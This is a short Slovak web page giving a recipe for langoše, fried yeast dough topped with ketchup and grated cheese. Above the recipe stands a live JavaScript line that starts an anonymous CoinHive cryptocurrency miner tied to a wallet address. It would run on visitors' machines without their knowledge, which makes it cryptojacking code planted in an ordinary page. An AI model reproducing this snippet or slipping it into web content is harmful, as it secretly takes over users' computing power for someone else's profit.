var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 250 g Jizerka, 160 ml vlažnej vody, 1/3 ML cukor, ½ kocky droždia, soľ

Postup: Všetky ingrediencie spolu zmiešame a necháme 30 minút kysnúť. Tvarujeme menšie alebo väčšie langoše, necháme ešte 5 minút podkysnúť a krátko pražíme na oleji. Navrch dáme trochu kečupu a nastrúhaný syr.